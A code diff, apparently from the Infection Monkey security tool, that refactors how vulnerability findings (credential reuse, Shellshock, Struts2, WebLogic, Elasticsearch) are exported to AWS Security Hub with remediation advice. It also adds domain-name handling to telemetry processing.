title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||||
}]
|
issue['username']),
|
||||||
else:
|
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
issue['machine'], issue['ip_address'], issue['username']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_ssh_key_issue(issue, instance_arn):
|
def _handle_ssh_key_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
|
||||||
"Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
|
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
|
||||||
}]
|
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
|
||||||
else:
|
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']),
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_elastic_issue(issue, instance_arn):
|
def _handle_elastic_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 10,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427",
|
|
||||||
"Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
|
|
||||||
issue['machine'], issue['ip_address'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=10,
|
||||||
"Type": "AwsEc2Instance",
|
title="Elastic Search servers are vulnerable to CVE-2015-1427",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Update your Elastic Search server to version 1.4.3 and up.",
|
||||||
}]
|
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
|
||||||
else:
|
issue['machine'], issue['ip_address']),
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
instance_arn=instance_arn,
|
||||||
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
return finding
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_island_cross_segment_issue(issue, instance_arn):
|
def _handle_island_cross_segment_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
return AWSExporter._build_generic_finding(
|
||||||
"Product": 1,
|
severity=1,
|
||||||
"Normalized": 100
|
title="Weak segmentation - Machines from different segments are able to communicate.",
|
||||||
}, "RecordState": "ACTIVE",
|
description="Segment your network and make sure there is no communication between machines from different segments.",
|
||||||
"Title": "Weak segmentation - Machines from different segments are able to communicate.",
|
recommendation="The network can probably be segmented. A monkey instance on \
|
||||||
"Description": "Segment your network and make sure there is no communication between machines from different segments.",
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The network can probably be segmented. A monkey instance on \
|
|
||||||
{0} in the networks {1} \
|
{0} in the networks {1} \
|
||||||
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
|
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
|
||||||
issue['networks'],
|
issue['networks'],
|
||||||
issue['server_networks'])
|
issue['server_networks']),
|
||||||
}
|
instance_arn=instance_arn,
|
||||||
}}
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
if 'aws_instance_id' in issue:
|
|
||||||
finding["Resources"] = [{
|
|
||||||
"Type": "AwsEc2Instance",
|
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
|
||||||
}]
|
|
||||||
else:
|
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
|
||||||
|
|
||||||
return finding
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_shared_passwords_issue(issue, instance_arn):
|
def _handle_shared_passwords_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE", "Title": "Multiple users have the same password",
|
|
||||||
"Description": "Some users are sharing passwords, this should be fixed by changing passwords.",
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "These users are sharing access password: {0}.".format(issue['shared_with'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Multiple users have the same password",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Some users are sharing passwords, this should be fixed by changing passwords.",
|
||||||
}]
|
recommendation="These users are sharing access password: {0}.".format(issue['shared_with']),
|
||||||
else:
|
instance_arn=instance_arn,
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
return finding
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_shellshock_issue(issue, instance_arn):
|
def _handle_shellshock_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 10,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'",
|
|
||||||
"Description": "Update your Bash to a ShellShock-patched version.", "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. "
|
|
||||||
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
|
|
||||||
issue['machine'], issue['ip_address'], issue['port'], issue['paths'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=10,
|
||||||
"Type": "AwsEc2Instance",
|
title="Machines are vulnerable to 'Shellshock'",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Update your Bash to a ShellShock-patched version.",
|
||||||
}]
|
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
|
||||||
else:
|
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_smb_password_issue(issue, instance_arn):
|
def _handle_smb_password_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
|
||||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
|
||||||
issue['username']), "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
|
|
||||||
issue['machine'], issue['ip_address'], issue['username'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||||
}]
|
issue['username']),
|
||||||
else:
|
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
issue['machine'], issue['ip_address'], issue['username']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_wmi_password_issue(issue, instance_arn):
|
def _handle_wmi_password_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
|
||||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
|
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
|
||||||
}]
|
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
|
||||||
else:
|
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
instance_arn=instance_arn,
|
||||||
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
return finding
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_wmi_pth_issue(issue, instance_arn):
|
def _handle_wmi_pth_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
|
||||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
|
||||||
issue['username']), "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
|
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||||
}]
|
issue['username']),
|
||||||
else:
|
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_rdp_issue(issue, instance_arn):
|
def _handle_rdp_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
|
||||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
|
||||||
issue['username']), "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
|
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||||
}]
|
issue['username']),
|
||||||
else:
|
recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_shared_passwords_domain_issue(issue, instance_arn):
|
def _handle_shared_passwords_domain_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.",
|
|
||||||
"Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.",
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "These users are sharing access password: {shared_with}.".format(
|
|
||||||
shared_with=issue['shared_with'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Multiple users have the same password.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Some domain users are sharing passwords, this should be fixed by changing passwords.",
|
||||||
}]
|
recommendation="These users are sharing access password: {shared_with}.".format(
|
||||||
else:
|
shared_with=issue['shared_with']),
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
instance_arn=instance_arn,
|
||||||
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
return finding
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_shared_admins_domain_issue(issue, instance_arn):
|
def _handle_shared_admins_domain_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Shared local administrator account - Different machines have the same account as a local administrator.",
|
|
||||||
"Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
|
|
||||||
username=issue['username'], shared_machines=issue['shared_machines'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Shared local administrator account - Different machines have the same account as a local administrator.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
|
||||||
}]
|
recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
|
||||||
else:
|
username=issue['username'], shared_machines=issue['shared_machines']),
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
instance_arn=instance_arn,
|
||||||
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
return finding
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_strong_users_on_crit_issue(issue, instance_arn):
|
def _handle_strong_users_on_crit_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
|
|
||||||
"Description": "This critical machine is open to attacks via strong users with access to it.",
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
|
|
||||||
services=issue['services'], threatening_users=issue['threatening_users'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="This critical machine is open to attacks via strong users with access to it.",
|
||||||
}]
|
recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
|
||||||
else:
|
services=issue['services'], threatening_users=issue['threatening_users']),
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
instance_arn=instance_arn,
|
||||||
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
return finding
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_struts2_issue(issue, instance_arn):
|
def _handle_struts2_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 10,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.",
|
|
||||||
"Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
|
||||||
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
|
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=10,
|
||||||
"Type": "AwsEc2Instance",
|
title="Struts2 servers are vulnerable to remote code execution.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
|
||||||
}]
|
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||||
else:
|
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
machine=issue['machine'], ip_address=issue['ip_address']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_weblogic_issue(issue, instance_arn):
|
def _handle_weblogic_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 10,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.",
|
|
||||||
"Description": "Install Oracle critical patch updates. Or update to the latest version. " \
|
|
||||||
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
|
||||||
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
|
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=10,
|
||||||
"Type": "AwsEc2Instance",
|
title="Oracle WebLogic servers are vulnerable to remote code execution.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Install Oracle critical patch updates. Or update to the latest version. " \
|
||||||
}]
|
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
|
||||||
else:
|
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
|
||||||
|
machine=issue['machine'], ip_address=issue['ip_address']),
|
||||||
return finding
|
instance_arn=instance_arn,
|
||||||
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_hadoop_issue(issue, instance_arn):
|
def _handle_hadoop_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 10,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.",
|
|
||||||
"Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
|
||||||
" The attack was made possible due to default Hadoop/Yarn configuration being insecure."
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=10,
|
||||||
"Type": "AwsEc2Instance",
|
title="Hadoop/Yarn servers are vulnerable to remote code execution.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Run Hadoop in secure mode, add Kerberos authentication.",
|
||||||
}]
|
recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
|
||||||
else:
|
"The attack was made possible due to default Hadoop/Yarn configuration being insecure.",
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
instance_arn=instance_arn,
|
||||||
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
return finding
|
)
|
||||||
|
|
|
@ -1,6 +1,4 @@
|
||||||
|
class Exporter(object):
|
||||||
class Exporter:
|
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
|
@ -90,10 +90,11 @@ class Telemetry(flask_restful.Resource):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
|
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
|
||||||
dst_ip = telemetry_json['data']['machine']['ip_addr']
|
dst_ip = telemetry_json['data']['machine']['ip_addr']
|
||||||
|
dst_domain_name = telemetry_json['data']['machine']['domain_name']
|
||||||
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||||
dst_node = NodeService.get_monkey_by_ip(dst_ip)
|
dst_node = NodeService.get_monkey_by_ip(dst_ip)
|
||||||
if dst_node is None:
|
if dst_node is None:
|
||||||
dst_node = NodeService.get_or_create_node(dst_ip)
|
dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
|
||||||
|
|
||||||
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
|
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
|
||||||
|
|
||||||
|
@ -144,30 +145,29 @@ class Telemetry(flask_restful.Resource):
|
||||||
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||||
data = copy.deepcopy(telemetry_json['data']['machine'])
|
data = copy.deepcopy(telemetry_json['data']['machine'])
|
||||||
ip_address = data.pop("ip_addr")
|
ip_address = data.pop("ip_addr")
|
||||||
|
domain_name = data.pop("domain_name")
|
||||||
new_scan = \
|
new_scan = \
|
||||||
{
|
{
|
||||||
"timestamp": telemetry_json["timestamp"],
|
"timestamp": telemetry_json["timestamp"],
|
||||||
"data": data,
|
"data": data
|
||||||
"scanner": telemetry_json['data']['scanner']
|
|
||||||
}
|
}
|
||||||
mongo.db.edge.update(
|
mongo.db.edge.update(
|
||||||
{"_id": edge["_id"]},
|
{"_id": edge["_id"]},
|
||||||
{"$push": {"scans": new_scan},
|
{"$push": {"scans": new_scan},
|
||||||
"$set": {"ip_address": ip_address}}
|
"$set": {"ip_address": ip_address, 'domain_name': domain_name}}
|
||||||
)
|
)
|
||||||
|
|
||||||
node = mongo.db.node.find_one({"_id": edge["to"]})
|
node = mongo.db.node.find_one({"_id": edge["to"]})
|
||||||
if node is not None:
|
if node is not None:
|
||||||
if new_scan["scanner"] == "TcpScanner":
|
scan_os = new_scan["data"]["os"]
|
||||||
scan_os = new_scan["data"]["os"]
|
if "type" in scan_os:
|
||||||
if "type" in scan_os:
|
mongo.db.node.update({"_id": node["_id"]},
|
||||||
mongo.db.node.update({"_id": node["_id"]},
|
{"$set": {"os.type": scan_os["type"]}},
|
||||||
{"$set": {"os.type": scan_os["type"]}},
|
upsert=False)
|
||||||
upsert=False)
|
if "version" in scan_os:
|
||||||
if "version" in scan_os:
|
mongo.db.node.update({"_id": node["_id"]},
|
||||||
mongo.db.node.update({"_id": node["_id"]},
|
{"$set": {"os.version": scan_os["version"]}},
|
||||||
{"$set": {"os.version": scan_os["version"]}},
|
upsert=False)
|
||||||
upsert=False)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_system_info_telemetry(telemetry_json):
|
def process_system_info_telemetry(telemetry_json):
|
||||||
|
|
|
@ -35,7 +35,7 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
{
|
{
|
||||||
'id': telem['_id'],
|
'id': telem['_id'],
|
||||||
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
|
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
|
||||||
'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'],
|
'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'),
|
||||||
'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
|
'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -9,890 +9,12 @@ from cc.database import mongo
|
||||||
from cc.encryptor import encryptor
|
from cc.encryptor import encryptor
|
||||||
from cc.environment.environment import env
|
from cc.environment.environment import env
|
||||||
from cc.utils import local_ip_addresses
|
from cc.utils import local_ip_addresses
|
||||||
|
from config_schema import SCHEMA
|
||||||
|
|
||||||
